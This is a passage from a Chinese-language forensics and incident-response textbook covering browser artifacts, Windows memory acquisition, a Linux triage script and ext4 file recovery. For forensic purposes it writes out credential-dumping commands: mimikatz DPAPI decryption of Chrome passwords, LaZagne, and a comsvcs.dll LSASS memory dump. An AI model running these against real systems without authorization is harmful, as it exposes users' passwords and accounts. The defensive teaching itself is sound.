Microsoft-Windows-WinRM/Operational   ★ WinRM(最隐蔽)
Microsoft-Windows-TerminalServices-*  RDP

═══ 命令控制 ═══
Sysmon 3 网络连接(★ 带进程名,能定位是哪个进程在连 C2)
Sysmon 22 DNS 查询(★ 带进程名,能抓 DNS 隧道)
Sysmon 17/18 命名管道(★ Potato、PsExec)

═══ 数据渗出 ═══
4663 文件访问(需开对象访问审计)
SRUM 网络流量统计
Sysmon 11 文件创建

8.2.5 浏览器取证

★ 浏览器的取证价值常被低估

浏览器里有什么:
  ① 历史记录 → 访问过哪些网站(★ 可能看到攻击者查过什么资料)
  ② 下载记录 → 下载过什么文件(★ 可能看到恶意工具的下载)
  ③ Cookie / 会话 → 可以重放会话
  ④ ★ 保存的密码 → 内部系统账号
  ⑤ 表单自动填充 → 姓名、邮箱、地址、信用卡
  ⑥ 书签、扩展
  ⑦ 缓存文件 → 页面内容(★ 能看到页面截图级别的信息)

★ 数据泄露场景的核心证据:
  "员工说他没把客户名单发到个人邮箱"
  → 浏览器历史里有 mail.qq.com 的访问记录
  → 表单里有附件上传记录
  → ★ 直接证伪

★ Chrome / Edge 的文件位置与结构(SQLite 数据库)

位置:
  Chrome: C:\Users\<user>\AppData\Local\Google\Chrome\User Data\Default\
  Edge:   C:\Users\<user>\AppData\Local\Microsoft\Edge\User Data\Default\

关键文件:
  History      → 访问历史(urls 表、visits 表)★
  Downloads    → 下载记录(downloads 表)★
  Login Data   → 保存的密码(★ 加密,需要 DPAPI 解密)
  Cookies      → Cookie(★ 加密)
  Web Data     → 自动填充表单(autofill 表)★
  Bookmarks    → 书签(JSON)
  Sessions/    → 会话文件(★ 能恢复关闭的标签页)
  Favicons
  Local Storage/、IndexedDB/、Service Worker/

★ 关键:Chrome 的时间戳格式
  Chrome 用的是 【1601-01-01 起的微秒数】(也叫 WebKit time / FILETIME 变体)
  转换公式:
    UnixTime = (ChromeTime / 1000000) - 11644473600
  反向:
    ChromeTime = (UnixTime + 11644473600) * 1000000

  SQLite 查询示例:
    SELECT url, title, visit_count,
           datetime(last_visit_time/1000000-11644473600, 'unixepoch', 'localtime')
           AS last_visit
    FROM urls
    ORDER BY last_visit_time DESC;

★ 实操:用 SQLite 分析(不需要专门工具)

# ① 先把数据库复制出来(★ 原始库可能被 Chrome 锁住)
cp "C:\Users\alice\AppData\Local\Google\Chrome\User Data\Default\History" /evidence/chrome_history

# ② 用 sqlite3 查(Linux / Windows 都行)
sqlite3 /evidence/chrome_history

# ── 访问历史 ──
.headers on
.mode column
SELECT
  datetime(visits.visit_time/1000000-11644473600,'unixepoch','localtime') AS visit_time,
  urls.url,
  urls.title,
  urls.visit_count,
  visits.from_visit,      -- ★ 能拼出"浏览路径"
  visits.transition       -- ★ 怎么来的:输入地址/点击链接/重定向
FROM visits
JOIN urls ON urls.id = visits.url
ORDER BY visits.visit_time DESC
LIMIT 100;

# ★ transition 字段含义(判断是用户主动访问还是被重定向):
#   0  LINK        点击链接
#   1  TYPED       地址栏输入 ★ 用户主动
#   2  AUTO_BOOKMARK
#   3  AUTO_SUBFRAME
#   4  MANUAL_SUBFRAME
#   5  GENERATED   从 UI 生成(如书签栏)
#   6  AUTO_TOPLEVEL  ★ 自动跳转(可能是恶意重定向)
#   7  FORM_SUBMIT  ★ 表单提交(可能是登录、上传)
#   8  RELOAD
#   9  KEYWORD
#   10 KEYWORD_GENERATED

# ── 下载记录 ★ ──
SELECT
  datetime(start_time/1000000-11644473600,'unixepoch','localtime') AS start_time,
  datetime(end_time/1000000-11644473600,'unixepoch','localtime')   AS end_time,
  target_path,            -- ★ 保存在本地的完整路径
  tab_url,                -- ★ 从哪个页面下载的
  referrer,
  total_bytes,
  danger_type,            -- ★ Chrome 认为它危险吗
  opened                  -- ★ 用户有没有打开过(取证关键点!)
FROM downloads
ORDER BY start_time DESC;

# ── 搜索关键词(★ 能看到用户搜了什么)──
SELECT term, url_id, url, datetime(...) FROM keyword_search_terms
JOIN urls ON urls.id = keyword_search_terms.url_id;

# ── 自动填充(Web Data 库)──
sqlite3 /evidence/Web\ Data
SELECT name, value, count,
       datetime(date_created/1000000-11644473600,'unixepoch','localtime') AS created,
       datetime(date_last_used/1000000-11644473600,'unixepoch','localtime') AS last_used
FROM autofill;
# ★ 可能看到:姓名、邮箱、电话、地址、信用卡后四位

# ── 删除检测(★ 历史被删了也能看出来)──
SELECT COUNT(*) FROM urls;      -- 剩余条数
SELECT COUNT(*) FROM visits;    -- ★ 如果 visits 远多于 urls,说明 urls 被删过
# ★ 另一个判据:visit_source 表和下载记录还在,但 urls 空了 = 明确的人工清理

★ 保存的密码怎么解(Login Data)

Chrome 的密码存储机制(三层):
  ① 密码用 AES-256-GCM 加密
  ② 密钥用 DPAPI(Windows Data Protection API)加密
  ③ DPAPI 主密钥又用【用户登录密码】的哈希加密

★ 结论:
  - 【离线】拿到 Login Data 文件 → 解不开(需要用户的登录密码)
  - 【在线】在用户登录状态下 → 可以直接解(DPAPI 自动解密)
  - 【离线 + 知道用户登录密码】→ 可以解(用 mimikatz 的 dpapi 模块或 DPAPIck)

★ 取证实务:
  ① 优先在机器还开着、用户还登录着的时候提取
     mimikatz: dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Default\Login Data"
     或者直接:
       # 用 PowerShell(当前用户会话内)
       $db = "C:\Users\alice\...\Default\Login Data"
       # 提取后需要 DPAPI 解密

  ② 或者直接用浏览器自带功能(最简单但会留下操作痕迹):
     chrome://settings/passwords → 导出

  ③ ★ 或者用 LaZagne(★ 一键提取浏览器/邮件/FTP 等各类软件保存的密码)
     LaZagne.exe browsers
     ⚠️ 注意:LaZagne 是攻击者常用工具,会被杀软拦截
       取证环境要用白名单版本或者从离线介质运行

⚠️ 重要提醒:
  提取用户密码属于【高敏感度操作】,必须有授权、有审批、有记录。
  未经授权的密码提取可能违法。

★ 浏览器取证工具

工具 平台 说明
Hindsight Python,跨平台 ★ Chrome/Edge 历史分析的最佳工具,输出 xlsx,含缓存、扩展、下载、搜索词
BrowsingHistoryView Windows(NirSoft) 支持所有浏览器(IE/Chrome/Firefox/Edge/Opera),图形界面
Browser History Capturer Windows 一键导出
sqlite3 + 手工 SQL 跨平台 ★ 最灵活,适合精确查询
LaZagne 跨平台 ★ 密码提取(浏览器 + 邮件 + FTP + WiFi 等几十种软件)
ChromeAnalytics Python 生成可视化时间线
# Hindsight 用法(推荐)
pip install hindsight
hindsight -i "/evidence/Chrome/User Data/Default" -o /case/output -f xlsx
#   输出包含:URLs、Downloads、Cookies、Logins(加密原值)、
#             Preferences、Extensions、Cache、Search Terms
# ★ 时间线可以直接接到整体时间线里

8.2.6 Windows 内存取证

★ 内存里有磁盘上没有的东西(回顾 8.1.3,这里给具体清单)

┌─────────────────────────────────────────────────────────────┐
│                    内存取证能拿到什么                          │
├─────────────────────────────────────────────────────────────┤
│ ① 完整的进程列表(含已退出的进程痕迹)                          │
│    ★ 能发现 Rootkit 隐藏的进程                                │
│      磁盘上读不到(Rootkit 会 hook 掉枚举 API)                │
│ ② 进程树关系(谁启动谁)★                                     │
│    "winword.exe → powershell.exe" 这种异常全靠它              │
│ ③ 网络连接(含已关闭的)★                                     │
│    连过哪些 IP、端口、传了多少数据                             │
│    ★ 内存里还保留着已关闭连接的信息(磁盘上完全没有)           │
│ ④ 明文凭据 ★★★                                                │
│    LSASS 里有登录用户的密码(WDigest 未关时是明文)             │
│    浏览器密码在内存里是解密状态                                │
│    加密密钥(BitLocker、TrueCrypt、SSH key)                   │
│ ⑤ 注入的代码、无文件攻击的 payload ★★★                         │
│    ★ 这是唯一能抓到无文件攻击的地方                            │
│ ⑥ 命令行参数(进程 PEB 里)★                                   │
│    即使没开 4688 命令行审计,内存里也有                         │
│ ⑦ 加载的 DLL 列表(含隐藏的)                                  │
│ ⑧ Rootkit 的 hook(★ 对比内核数据结构能发现)                  │
│ ⑨ 剪贴板内容                                                  │
│ ⑩ 加密的 C2 通信在内存里是明文                                 │
│ ⑪ 已删除但仍在内存中的文件内容                                 │
│ ⑫ Volatility 的 malfind 能直接找出可疑的内存区域(注入代码)    │
└─────────────────────────────────────────────────────────────┘

★ 怎么抓内存(四种方式)

┌─ 方式一:DumpIt(★ 最简单,推荐)────────────────┐
│  DumpIt.exe /OUTPUT D:\mem.raw /TYPE RAW          │
│  ★ 单文件、无需安装、交互式确认后自动抓           │
│  ⚠️ 会被杀软/EDR 拦截(因为它读物理内存)          │
│     → 取证件要用白名单版本或加 --no-warn           │
└───────────────────────────────────────────────────┘

┌─ 方式二:comsvcs.dll 的 MiniDump(★ 无工具,系统自带)──┐
│  ★ 这是第六章讲过的"攻击者手法",取证同样能用           │
│  优点:不需要下载任何工具,系统自带                     │
│  缺点:只 dump 单个进程,不是全内存                     │
│                                                        │
│  # dump LSASS(★ 取证时最常 dump 的进程)               │
│  tasklist | findstr lsass                              │
│  rundll32.exe C:\windows\system32\comsvcs.dll,^        │
│      MiniDump <PID> C:\mem_lsass.dmp full              │
│                                                        │
│  ★ 取证价值:LSASS dump 里有所有登录用户的凭据          │
│    → 能证明"哪些账号的凭据暴露了"                      │
│    → 进而决定要重置哪些密码                            │
└────────────────────────────────────────────────────────┘

┌─ 方式三:WinPmem / AVML(★ 推荐的开源方案)────────┐
│  # WinPmem(Windows)                               │
│  winpmem_mini_x64_rc2.exe mem.raw                   │
│                                                     │
│  # AVML(Acquire Volatile Memory for Linux,微软开源)│
│  # ★ 也能用于 Windows,且不需要驱动                  │
│  avml.exe mem.lime                                  │
│                                                     │
│  ★ 优点:有数字签名、输出 LiME 格式(Volatility 支持) │
│    不需要装驱动(AVML)→ 不容易被 EDR 拦              │
└─────────────────────────────────────────────────────┘

┌─ 方式四:休眠文件(★ 机器已经关了也能用)──────────┐
│  C:\hiberfil.sys                                    │
│  ★ 休眠文件本质上是【压缩的内存镜像】                 │
│  → 机器关机了,但休眠文件里还有内存内容              │
│  → Volatility 可以用 imagecopy 转换后分析             │
│                                                     │
│  volatility -f hiberfil.sys imagecopy -O hiber.raw   │
│  ★ 这是"错过时机"后的救命稻草                        │
│                                                     │
│  ⚠️ 前提:机器开启了休眠功能,且是真正的休眠而不是关机 │
└─────────────────────────────────────────────────────┘

★ 抓内存时的五个注意事项

① ★ 先把输出目录准备好,别写到要取证的盘上
   → 写 U 盘或网络共享

② 抓之前记录系统时间(UTC)和时区
   → Volatility 分析时会用到

③ 抓完立即算哈希
   sha256sum mem.raw | tee mem.raw.sha256

④ ★ 不要"先看看有什么再决定抓不抓"
   → 你每运行一个程序,就会改动内存
   → 决定要抓就立刻抓,不要犹豫

⑤ 记录用的是什么工具、什么版本
   → 三个月后复盘/出庭时要说清楚

8.3 Linux 主机取证

8.3.1 Linux 取证的 Artifact 地图

┌─────────────────────────────────────────────────────────────┐
│                    Linux 主机取证地图                         │
├─────────────────────────────────────────────────────────────┤
│  ① 【内存】/proc/kcore、/dev/mem、LiME dump                   │
│                                                              │
│  ② 【进程与网络】★ /proc 是金矿                               │
│     /proc/<PID>/        每个进程的信息                        │
│       cmdline           完整命令行                            │
│       environ           环境变量(★ 可能有密码!)             │
│       exe → 二进制路径   ★ 被删了显示 "(deleted)"             │
│       cwd               当前目录                              │
│       maps              内存映射(★ 找注入)                  │
│       fd/               打开的文件(★ 已删但还开着的能恢复!)  │
│       status/stat       状态、父进程                          │
│     /proc/net/tcp、/proc/net/udp、/proc/net/arp              │
│     ★ /proc 是内核实时生成的,比 ps/netstat 更难被 Rootkit 骗  │
│                                                              │
│  ③ 【日志】                                                   │
│     /var/log/messages、syslog     系统日志                    │
│     /var/log/auth.log(Debian)    ★ 认证日志(登录、sudo)    │
│     /var/log/secure(RHEL)        ★ 认证日志                 │
│     /var/log/audit/audit.log       ★ auditd(最详细)         │
│     /var/log/lastlog、wtmp、btmp   ★ 登录记录(二进制)       │
│     /var/log/utmp                  当前登录                   │
│     journalctl(systemd)          ★ 二进制日志                │
│     /var/log/nginx/、httpd/         Web 访问日志 ★            │
│     /var/log/cron                 计划任务执行记录             │
│     ~/.bash_history、~/.zsh_history  ★ 命令历史               │
│     ★ /var/log/journal/(systemd,二进制,需 journalctl 读)   │
│                                                              │
│  ④ 【用户与权限】                                             │
│     /etc/passwd、/etc/shadow       ★ 账号与密码哈希           │
│     /etc/group、/etc/sudoers、/etc/sudoers.d/                 │
│     /etc/ssh/sshd_config           SSH 配置                   │
│     ~/.ssh/authorized_keys         ★ 后门密钥                 │
│     /etc/crontab、/var/spool/cron/  ★ 计划任务                │
│     /etc/rc.local、/etc/init.d/、/etc/systemd/system/  ★ 自启动│
│     /etc/ld.so.preload             ★★★ LD_PRELOAD 后门        │
│     /etc/pam.d/                    ★ PAM 后门                 │
│                                                              │
│  ⑤ 【文件系统】                                               │
│     ext4 inode(★ 已删文件的 inode 还在)                     │
│     ext4 journal(/dev/sda1 的 journal)                      │
│     /tmp、/dev/shm、/var/tmp       ★ 攻击者最爱放东西的地方    │
│     /lost+found                                               │
│     .bash_history、.ssh、.config                              │
│     隐藏文件(. 开头)、文件的 SUID 位                         │
└─────────────────────────────────────────────────────────────┘

★ Linux 一线采集脚本(★ 无第三方工具,纯系统命令)

#!/bin/bash
# linux_triage.sh —— Linux 快速取证采集
# 用法:sudo ./linux_triage.sh /mnt/usb
# ★ 关键:输出到外部介质,不要写到本机!

OUT="${1:-/mnt/usb/IR_$(date +%Y%m%d_%H%M%S)}"
mkdir -p "$OUT" 2>/dev/null || { echo "无法创建输出目录"; exit 1; }

LOG="$OUT/collection.log"
exec > >(tee -a "$LOG") 2>&1

echo "=== Linux 取证采集开始 ==="
echo "时间(本地): $(date)"
echo "时间(UTC)  : $(date -u)"
echo "时区       : $(cat /etc/timezone 2>/dev/null || timedatectl | grep 'Time zone')"
echo "主机名     : $(hostname)"
echo "内核       : $(uname -a)"
echo "★ 运行时间 : $(uptime)"     # ★ 攻击者的活动窗口
echo "★ 启动时间 : $(who -b)"
echo ""

# ══ ① 最易失的先抓 ══
echo "[1/12] 进程与网络(★ 最易失)"
ps auxwww > "$OUT/ps_aux.txt" 2>&1
ps -ef --forest > "$OUT/ps_tree.txt" 2>&1
# ★ 关键:带环境变量的进程信息(★ 可能有密码)
for p in /proc/[0-9]*; do
    pid=${p#/proc/}
    echo "=== PID $pid ==="
    echo "-- cmdline:"; tr '\0' ' ' < "$p/cmdline" 2>/dev/null; echo
    echo "-- exe    :"; readlink "$p/exe" 2>/dev/null
    echo "-- cwd    :"; readlink "$p/cwd" 2>/dev/null
    echo "-- environ:"; tr '\0' '\n' < "$p/environ" 2>/dev/null | grep -iE 'pass|pwd|key|token|secret' || echo "(无敏感项)"
done > "$OUT/proc_details.txt" 2>&1

ss -tunap > "$OUT/ss_tunap.txt" 2>&1    # ★ 比 netstat 新,能看到进程
netstat -tunap >> "$OUT/ss_tunap.txt" 2>&1
lsof -nP > "$OUT/lsof.txt" 2>&1         # ★ 打开的文件(能恢复已删文件)
ip addr > "$OUT/ip_addr.txt" 2>&1
ip route > "$OUT/ip_route.txt" 2>&1
ip neigh > "$OUT/ip_neigh.txt" 2>&1     # ARP 缓存
cat /proc/net/tcp /proc/net/tcp6 > "$OUT/proc_net_tcp.txt" 2>&1  # ★ 内核视角
cat /proc/net/arp > "$OUT/proc_net_arp.txt" 2>&1
iptables -L -n -v > "$OUT/iptables.txt" 2>&1
nft list ruleset > "$OUT/nftables.txt" 2>&1

# ══ ② 已删除但仍打开的文件(★ 极其重要)══
echo "[2/12] 已删除但仍在运行的文件 ★★★"
lsof +L1 > "$OUT/deleted_but_open.txt" 2>&1
# ★ 这个文件是"攻击者删了程序但进程还在跑"的铁证
#   还能从 /proc/<PID>/exe 或 /proc/<PID>/fd/N 恢复出文件内容
for p in /proc/[0-9]*; do
    if [ -e "$p/exe" ]; then
        link=$(readlink "$p/exe" 2>/dev/null)
        if [[ "$link" == *"(deleted)"* ]]; then
            pid=${p#/proc/}
            echo "★ PID $pid 运行的二进制已被删除: $link"
            echo "   命令行: $(tr '\0' ' ' < $p/cmdline 2>/dev/null)"
            # ★ 恢复出来
            cp "$p/exe" "$OUT/recovered_PID${pid}.bin" 2>/dev/null && \
                echo "   已恢复: $OUT/recovered_PID${pid}.bin"
        fi
    fi
done | tee "$OUT/deleted_executables.txt"

# ══ ③ 用户与登录 ══
echo "[3/12] 用户与登录"
w > "$OUT/who_online.txt" 2>&1
who -a >> "$OUT/who_online.txt" 2>&1
last -Fadwx > "$OUT/last.txt" 2>&1        # ★ 登录历史(含 IP)
lastb -Fadwx > "$OUT/lastb.txt" 2>&1      # ★ 失败的登录(爆破证据)
lastlog > "$OUT/lastlog.txt" 2>&1
cat /etc/passwd > "$OUT/passwd.txt"
# ★ 找 UID=0 的账号(攻击者可能加了个 UID 0 的隐藏账号)
awk -F: '$3==0 {print "★ UID=0: " $1}' /etc/passwd | tee "$OUT/uid0_accounts.txt"
# ★ 找没有密码的账号
awk -F: '($2=="" || $2=="!!") {print "★ 无密码或锁定的账号: " $1}' /etc/shadow 2>/dev/null
# ★ 找能登录的账号(shell 不是 nologin/false)
awk -F: '$7 !~ /(nologin|false)$/ {print}' /etc/passwd | tee "$OUT/login_shell_accounts.txt"
cat /etc/group > "$OUT/group.txt"
cat /etc/sudoers > "$OUT/sudoers.txt" 2>/dev/null
ls -la /etc/sudoers.d/ > "$OUT/sudoers_d.txt" 2>&1

# ══ ④ 持久化检查(★ 第六章的内容)══
echo "[4/12] 持久化检查"
echo "--- crontab ---"        >  "$OUT/persistence.txt"
for u in $(cut -f1 -d: /etc/passwd); do
    echo "== user: $u =="       >> "$OUT/persistence.txt"
    crontab -u "$u" -l 2>/dev/null >> "$OUT/persistence.txt"
done
echo "--- /etc/crontab ---"   >> "$OUT/persistence.txt"
cat /etc/crontab             >> "$OUT/persistence.txt" 2>&1
ls -laR /var/spool/cron/     >> "$OUT/persistence.txt" 2>&1
ls -la /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/ >> "$OUT/persistence.txt" 2>&1
echo "--- systemd 服务 ---"    >> "$OUT/persistence.txt"
systemctl list-unit-files --type=service --state=enabled >> "$OUT/persistence.txt" 2>&1
ls -la /etc/systemd/system/  >> "$OUT/persistence.txt" 2>&1
echo "--- 旧式启动 ---"        >> "$OUT/persistence.txt"
ls -la /etc/init.d/ /etc/rc.local /etc/rc.d/ >> "$OUT/persistence.txt" 2>&1
echo "--- ★ LD_PRELOAD 后门 ---" >> "$OUT/persistence.txt"
cat /etc/ld.so.preload       >> "$OUT/persistence.txt" 2>/dev/null || echo "(无)"
echo "--- ★ PAM 后门 ---"      >> "$OUT/persistence.txt"
ls -la /etc/pam.d/           >> "$OUT/persistence.txt" 2>&1
echo "--- SSH authorized_keys ---" >> "$OUT/persistence.txt"
find / -name authorized_keys -exec ls -la {} \; -exec cat {} \; >> "$OUT/persistence.txt" 2>/dev/null
echo "--- ★ SUID/SGID 文件 ---" >> "$OUT/persistence.txt"
find / -perm -4000 -type f -ls 2>/dev/null >> "$OUT/persistence.txt"
find / -perm -2000 -type f -ls 2>/dev/null >> "$OUT/persistence.txt"

# ══ ⑤ 命令历史 ★ ══
echo "[5/12] 命令历史"
for h in /root/.bash_history /root/.zsh_history /home/*/.bash_history /home/*/.zsh_history; do
    [ -f "$h" ] && { echo "=== $h ==="; cat "$h"; } >> "$OUT/bash_history.txt" 2>&1
done
# ★ 关键:history 里可能被删了几行,或者被设置了 HISTFILE=/dev/null
echo "--- history 相关环境变量 ---" >> "$OUT/bash_history.txt"
env | grep -i hist >> "$OUT/bash_history.txt" 2>&1
cat /root/.bashrc /etc/bash.bashrc 2>/dev/null | grep -iE 'hist|unset' >> "$OUT/bash_history.txt"

# ══ ⑥ 日志 ══
echo "[6/12] 日志采集"
LOGDIR="$OUT/logs"
mkdir -p "$LOGDIR"
cp -a /var/log/ "$LOGDIR/" 2>/dev/null
# ★ journalctl 的二进制日志要单独导出
journalctl --all --output=export > "$LOGDIR/journalctl_export.txt" 2>&1
# ★ 检查日志有没有被删的痕迹
ls -la /var/log/ > "$OUT/log_dir_listing.txt"
# ★ auditd
ausearch -i --start recent > "$OUT/audit_recent.txt" 2>&1

# ══ ⑦ SSH ══
echo "[7/12] SSH 检查"
cat /etc/ssh/sshd_config > "$OUT/sshd_config.txt" 2>&1
# ★ 找 PermitRootLogin、PasswordAuthentication、AuthorizedKeysFile 的异常
grep -vE '^\s*#|^\s*$' /etc/ssh/sshd_config | tee "$OUT/sshd_config_active.txt" 2>&1
ls -laR /root/.ssh/ /home/*/.ssh/ > "$OUT/ssh_dirs.txt" 2>&1

# ══ ⑧ 可疑文件 ══
echo "[8/12] 可疑文件扫描"
echo "--- 临时目录 ---" > "$OUT/suspicious_files.txt"
ls -laht /tmp /var/tmp /dev/shm >> "$OUT/suspicious_files.txt" 2>&1
echo "--- 隐藏文件 ---" >> "$OUT/suspicious_files.txt"
find / -name ".*" -type f -not -path "/proc/*" -not -path "/sys/*" \
     -newermt "30 days ago" -ls 2>/dev/null >> "$OUT/suspicious_files.txt"
echo "--- 最近 7 天修改的文件(排除动态目录)---" >> "$OUT/suspicious_files.txt"
find / -mtime -7 -type f \
     -not -path "/proc/*" -not -path "/sys/*" -not -path "/dev/*" \
     -not -path "/var/log/*" -not -path "/tmp/*" \
     -not -path "/usr/share/*" -not -path "/var/lib/*" \
     -ls 2>/dev/null >> "$OUT/suspicious_files.txt"
echo "--- ★ 带可执行权限但名字可疑的文件 ---" >> "$OUT/suspicious_files.txt"
find / -type f -perm -u+x -name "*.sh" -newermt "30 days ago" \
     -not -path "/etc/*" -not -path "/usr/*" -ls 2>/dev/null >> "$OUT/suspicious_files.txt"

# ══ ⑨ Rootkit 检测 ══
echo "[9/12] Rootkit 检测"
# ★ 方法:对比 /proc 枚举和 ps 输出(Rootkit 常隐藏 ps 的结果)
echo "--- /proc 里的 PID 数 ---" > "$OUT/rootkit_check.txt"
ls -d /proc/[0-9]* | wc -l >> "$OUT/rootkit_check.txt"
echo "--- ps 看到的进程数 ---" >> "$OUT/rootkit_check.txt"
ps -e --no-headers | wc -l >> "$OUT/rootkit_check.txt"
echo "★ 如果两者差异大 → 可能有隐藏进程" >> "$OUT/rootkit_check.txt"
# ★ 对比 /proc 的 PID 列表和 ps 的 PID 列表
comm -23 <(ls -d /proc/[0-9]* | sed 's|/proc/||' | sort -n) \
         <(ps -e --no-headers -o pid= | tr -d ' ' | sort -n) | tee "$OUT/hidden_pids.txt"
# ★ 检查内核模块
lsmod >> "$OUT/rootkit_check.txt" 2>&1
cat /proc/modules >> "$OUT/rootkit_check.txt" 2>&1
# ★ 检查系统调用表(需要 root 和 debug symbols,较难)
cat /proc/kallsyms 2>/dev/null | head -50 > "$OUT/kallsyms_head.txt"

# ══ ⑩ Rootkit 深度检测(如果有工具)══
if command -v rkhunter >/dev/null; then rkhunter --check --skip-keypress > "$OUT/rkhunter.txt" 2>&1; fi
if command -v chkrootkit >/dev/null; then chkrootkit > "$OUT/chkrootkit.txt" 2>&1; fi
# ⚠️ 注意:这两个工具在【已被攻陷的机器上不可信】
#    ★ 因为它们依赖系统命令(ls、ps、netstat),而这些可能已被替换
#    → 正确做法:用【离线的可信二进制】(从 U 盘带的静态编译版本)

# ══ ⑪ 网络配置与 DNS ══
echo "[11/12] 网络配置"
cat /etc/resolv.conf > "$OUT/resolv.conf" 2>&1
cat /etc/hosts > "$OUT/hosts.txt" 2>&1
cat /etc/hostname > "$OUT/hostname.txt" 2>&1
# ★ DNS 缓存(能看出访问过什么域名)
cat /proc/net/xt_recent/* > "$OUT/xt_recent.txt" 2>/dev/null

# ══ ⑫ 哈希 ══
echo "[12/12] 计算哈希"
cd "$OUT" && find . -type f -exec sha256sum {} \; > "$OUT/evidence_hashes.txt" 2>/dev/null

echo ""
echo "=== 采集完成:$OUT ==="
echo "★ 请填写证据链:采集人 / 时间(UTC) / 主机标识 / 证据去向"

★ Linux 取证的五个特殊点(跟 Windows 很不一样)

差异一:没有"注册表"这种集中式配置数据库
  → Linux 的配置散落在 /etc 下成百上千个文本文件里
  → ★ 所以取证时要看【文件的修改时间】,找出被改过的配置文件
    find /etc -newermt "2026-03-01" -type f -ls
    ★ 这是 Linux 取证最有效的一招

差异二:一切皆文件,/proc 是金矿
  → ★ /proc/<PID>/ 里能拿到 Windows 上要专门工具才拿到的东西
  → 特别是 /proc/<PID>/exe 显示 "(deleted)" = 程序被删了但还在跑
    ★ 这是 Linux 上"文件已删除的恶意程序仍在运行"的铁证
  → /proc/<PID>/fd/N 能恢复【已删除但仍打开】的文件
    cp /proc/1234/fd/5 /evidence/recovered_file
    ★ 攻击者删了日志/工具,但进程还开着 → 能恢复出来

差异三:日志是文本,容易被改
  → Linux 日志是纯文本,攻击者可以用 sed 精确删除某几行
  → ★ 所以:日志必须【实时转发】到远程(rsyslog → 日志服务器)
  → 本地日志的哈希要定期记录(AIDE 的作用)

差异四:二进制日志(wtmp/btmp/lastlog/journal)
  → ★ 这些是二进制,攻击者不容易精确改
  → 读取要用专门命令:last、lastb、lastlog、journalctl
  → ★ 但它们可以被整体清空(> /var/log/wtmp)
     → 检查方法:看文件大小是否异常小、时间戳是否为整点

差异五:Rootkit 会替换系统命令
  → ★ 这是 Linux 取证最大的坑:
    你跑 ps,看到的可能是 Rootkit 伪造的结果
    你跑 ls,看不到 Rootkit 的文件
    你跑 netstat,看不到 C2 连接

  ★ 应对(必做):
    ① 用 /proc 直接读(内核提供,Rootkit 很难全伪)
    ② ★ 用【静态编译的可信二进制】(busybox-static、从 U 盘带)
       /mnt/usb/busybox ps aux
       /mnt/usb/busybox netstat -tunap
       → Rootkit 通常只替换 /bin/ps、/usr/bin/netstat
          不会想到替换 U 盘上的 busybox
    ③ 对比多个来源:ps vs /proc vs lsof
    ④ ★ 用内存取证(Volatility)看内核的真实进程链表

8.3.2 Linux 文件系统取证

★ ext4 的 inode 与文件恢复

ext4 文件系统结构:
  文件 = inode(元数据) + data block(内容) + 目录项(文件名 → inode 号)

★ 关键:文件被 rm 删除时
  ① 目录项被移除(文件名没了)
  ② inode 的链接数减 1
  ③ data block 被标记为可用
  ★ 但【inode 的内容还在】(除了 ext4 会清零部分字段)
  ★ data block 的内容也还在(直到被覆盖)

★ 能恢复出什么:
  - 文件大小、权限、所有者
  - ★ 时间戳(atime/mtime/ctime/crtime★)
  - 数据块的【位置列表】(extent tree)
  - ★ 如果数据块没被覆盖 → 完整内容能恢复

★ ext4 的四个时间戳(★ 跟 Windows 不一样,多一个):
  ① atime  最后访问时间
  ② mtime  内容最后修改时间      ★ 最常用
  ③ ctime  【inode 状态】最后改变时间(权限、所有者、重命名)
           ★ 注意:ctime 【不是】创建时间!这是最常见的误解
  ④ crtime 真正的创建时间(ext4 特有,stat 命令能看到)
           ★ 很多取证新手把 ctime 当创建时间,会得出错误结论

  查看:stat -x filename
      或者:stat --printf='%n\n  atime: %x\n  mtime: %y\n  ctime: %z\n  crtime: %w\n' file

★ 重要规律(取证判断用):
  - 如果 ctime 明显晚于 mtime → 文件被改过权限/所有者/重命名过
  - 如果 mtime 被改成了很久以前,但 ctime 是最近 → ★ Timestomping!
    (touch -t 能改 mtime/atime,但改不了 ctime)
  - ★ 这就是 Linux 上的 timestomping 检测方法

★ 恢复已删除文件的三种方法

# ══ 方法一:从 /proc 恢复(★ 最简单,文件还被进程打开着)══
# 场景:攻击者删了日志文件/恶意程序,但相关进程还在运行

# ① 找被删除但仍打开的文件
lsof +L1
# 输出示例:
#   COMMAND  PID USER  FD  TYPE DEVICE SIZE/OFF NLINK   NODE NAME
#   malware  666 root txt  REG   8,1    51200   0     12345 /tmp/malware (deleted)
#                                              ↑ NLINK=0 表示已删除

# ② 从 /proc/<PID>/fd/N 恢复
cp /proc/666/fd/3 /evidence/recovered_file
# ★ 或者直接从 exe 恢复(如果删的是可执行程序)
cp /proc/666/exe /evidence/recovered_binary

# ★ 这个方法在【已经在跑的挖矿木马、Webshell】场景特别有效


# ══ 方法二:extundelete / ext4magic(ext3/ext4,按 inode 恢复)══
# 前提:分区已卸载或只读挂载(★ 必须!否则可能被覆盖)
umount /dev/sdb1
# 或 mount -o remount,ro /data

# 恢复单个文件
extundelete /dev/sdb1 --restore-file /home/alice/secret.docx
# 恢复整个目录
extundelete /dev/sdb1 --restore-directory /home/alice/Documents
# 恢复所有能恢复的
extundelete /dev/sdb1 --restore-all --output-dir /evidence/recovered/

# ★ 按 inode 恢复(先要知道 inode 号)
debugfs -R "lsdel" /dev/sdb1      # 列出已删除的 inode
extundelete /dev/sdb1 --restore-inode 12345

# ext4magic(另一个选择,ext4 支持更好)
ext4magic /dev/sdb1 -r -f /home/alice/secret.docx -d /evidence/
ext4magic /dev/sdb1 -a "$(date -d '3 days ago' +%s)" -d /evidence/
#                     ↑ 恢复 3 天前之后删除的文件


# ══ 方法三: photorec / scalpel(按文件头签名恢复,★ 通用但无文件名)══
# 适用场景:文件系统严重损坏、或者不知道文件系统类型
# 缺点:★ 恢复出来的文件没有原始文件名和目录结构

photorec /d /evidence/recovered /dev/sdb1
# 交互式选择分区和文件类型

# scalpel(配置文件里指定要恢复哪些类型)
vim /etc/scalpel/scalpel.conf    # 取消注释需要的类型
scalpel /dev/sdb1 -o /evidence/scalpel_out/


# ══ 补充:XFS 文件系统(RHEL/CentOS 默认)══
# XFS 没有 extundelete 这样的工具
# 只能靠:
#   ① xfs_db + 手工恢复(非常专业)
#   ② photorec 按签名恢复
#   ③ ★ 备份
# ★ 这提醒我们:XFS 环境下【备份和日志集中化】更重要

★ ext4 journal(日志)—— 另一个取证来源

ext4 journal 记录【元数据操作】(不记录文件内容),可用于:
  - 恢复被删除文件的 inode 信息
  - 判断操作发生的时间顺序

